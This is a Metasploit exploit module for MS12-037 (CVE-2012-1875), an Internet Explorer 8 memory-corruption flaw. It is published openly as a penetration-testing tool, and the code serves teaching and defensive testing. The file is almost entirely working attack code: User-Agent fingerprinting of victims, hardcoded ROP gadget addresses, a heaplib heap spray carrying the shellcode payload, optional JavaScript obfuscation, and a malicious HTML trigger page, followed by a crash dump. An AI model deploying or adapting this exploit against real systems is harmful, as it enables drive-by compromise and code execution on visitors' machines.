##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb

	def initialize(info={})
		super(update_info(info,
			'Name'           => "MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption",
			'Description'    => %q{
					This module exploits a memory corruption flaw in Internet Explorer 8 when
				handling objects with the same ID property. At the moment this module targets
				IE8 over Windows XP SP3 and Windows 7. This module supports heap massaging
				as well as the heap spray method seen in the wild (Java msvcrt71.dll).
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Dark Son ', # Vulnerability discovery
					'Qihoo 360 Security Center', # Vulnerability discovery
					'Yichong Lin', # Vulnerability discovery
					'Google Inc.', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'MSB', 'MS12-037'],
					[ 'CVE', '2012-1875' ],
					[ 'OSVDB', '82865'],
					[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/ongoing-attacks-exploiting-cve-2012-1875/'],
					[ 'URL', 'https://twitter.com/binjo/status/212795802974830592' ], # Exploit found in the wild
					[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities']
				],
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'DisableNops' => true
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[
						'IE 8 on Windows XP SP3 with msvcrt ROP',
						{
							'Rop'    => :msvcrt,
							'RopOffset' => '0x5f4',
							'Ret'    => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll
						}
					],
					[
						'IE 8 on Windows XP SP3 with JRE ROP',
						{
							'Rop'    => :jre,
							'RopOffset' => '0x5f4',
							'Ret'    => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
						}
					],
					[
						'IE 8 on Windows 7 SP1/Vista SP2 with JRE ROP',
						{
							'Rop'    => :jre,
							'RopOffset' => '0x5f4',
							'Ret'    => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jun 12 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

	end

	def get_target(agent)
		# If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
			# Windows XP SP3 + IE 8.0
			return targets[1]
		elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8\.0/
			# Windows 7 SP1 + IE 8.0
			# Vista SP2 + IE 8.0
			return targets[3]
		else
			return nil
		end
	end

	def ret(t)
		case t['Rop']
		when :msvcrt
			return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
		when :jre
			return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll
		end
	end

	def popret(t)
		case t['Rop']
		when :msvcrt
			return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
		when :jre
			return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll
		end
	end

	def get_rop_chain(t)
		pivot = ret(t) * 27
		pivot << popret(t)
		pivot << [t.ret].pack("V") # stackpivot

		case t['Rop']
		when :msvcrt
			print_status("Using msvcrt ROP")
			rop = generate_rop_payload('msvcrt', '', {'target'=>'xp', 'pivot'=>pivot})

		else
			print_status("Using JRE ROP")
			rop = generate_rop_payload('java', '', {'pivot'=>pivot})
		end

		return rop

	end

	def on_request_uri(cli, request)

		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("Browser not supported: #{agent}")
			send_not_found(cli)
			return
		end

		print_status("Client requesting: #{request.uri}")

		p = payload.encoded

		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
		js_padding = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(my_target.arch))
		js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
		js_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

		js_spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var rop_chain = unescape("#{js_rop}");
		var random = unescape("#{js_padding}");
		var nops = unescape("#{js_nops}");

		while (random.length < 0x80000) random += random;
		while (nops.length < 0x80000) nops += nops;

		var padding = random.substring(0, #{my_target['RopOffset']}-code.length);
		var shellcode = code + padding + rop_chain + nops.substring(0, 0x800-code.length-padding.length-rop_chain.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();
		for (var z=1; z < 0x385; z++) {
			heap_obj.alloc(block);
		}
		JS

		js_spray = heaplib(js_spray, {:noobfu => true})

		trigger_f = "trigger"
		feng_shui_f = "feng_shui"
		crash_f = "crash"
		unescape_f = "do_unescape"
		main_f = "main"
		a_id = "MyA"
		danger_id = "imgTest"

		if datastore['OBFUSCATE']
			js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
			js_spray.obfuscate

			trigger_f = rand_text_alpha(rand(5) + 4)
			feng_shui_f = rand_text_alpha(rand(5) + 4)
			crash_f = rand_text_alpha(rand(5) + 4)
			unescape_f = rand_text_alpha(rand(5) + 4)
			main_f = rand_text_alpha(rand(5) + 4)
			a_id = rand_text_alpha(rand(5) + 4)
			danger_id = rand_text_alpha(rand(5) + 4)
		end

		html = %Q|
			<HTML>
			<BODY>
			<title></title>
			<DIV id=testfaild>
				<img id="#{danger_id}" style="display:none">
				<a href="javascript:#{feng_shui_f}();" id="#{a_id}" onClick="#{feng_shui_f}();">
				<div style="background-color:#FFFFFF; width:30; height:40" id="#{danger_id}" src="" onMouseOver="#{crash_f}();" onMouseOut="#{crash_f}();">
				</div>
				</a>
			</DIV>
			<SCRIPT LANGUAGE="JavaScript">
			function #{unescape_f}(dword) {
				var t = unescape;
				var d = Number(dword).toString(16);
				while (d.length < 8) d = '0' + d;
				return t('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
			}
			function #{feng_shui_f}() {
				var tag = 0x1c1c1c0c;
				var vtable1 = #{unescape_f}(tag) + '1234567555555555588888888';
				var divs = new Array();
				for (var i = 0; i < 128; i++) divs.push(document.createElement('div'));
				testfaild.innerHTML = testfaild.innerHTML;
				divs[0].className = vtable1;
				divs[1].className = vtable1;
				divs[2].className = vtable1;
				divs[3].className = vtable1;
			}
			function #{crash_f}() {
				eval("#{danger_id}").src = "";
			}
			function #{trigger_f}() {
				var x = document.getElementsByTagName("div");
				var fireOnThis = document.getElementById("#{a_id}");
				if (document.createEvent) {
					evObj = document.createEvent('MouseEvents');
					evObj.iniEvent('click', true, false);
					fireOnThis.dispatchEvent(evObj);
				} else if (document.createEventObject) {
					x[1].fireEvent('onMouseOver');
					fireOnThis.fireEvent('onclick');
					x[1].fireEvent('onMouseOut');
				}
			}
			function #{main_f}() {

				#{js_spray}
				setTimeout("#{trigger_f}();", 1000);

			}
			#{main_f}();
			</SCRIPT>
			</BODY>
			</HTML>
		|

		html = html.gsub(/^\t\t\t/, '')

		print_status("Sending html")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end

end


=begin
* crash
(a9c.998): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for C:\WINDOWS\system32\mshtml.dll -
eax=1c1c1c0c ebx=00000000 ecx=02fdf588 edx=00000001 esi=02fdf588 edi=020bbaf0
eip=6363fcc6 esp=020bba88 ebp=020bba94 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!DllGetClassObject+0xafd09:
6363fcc6 8b5070          mov     edx,dword ptr [eax+70h]
ds:0023:1c1c1c7c=????????
=end
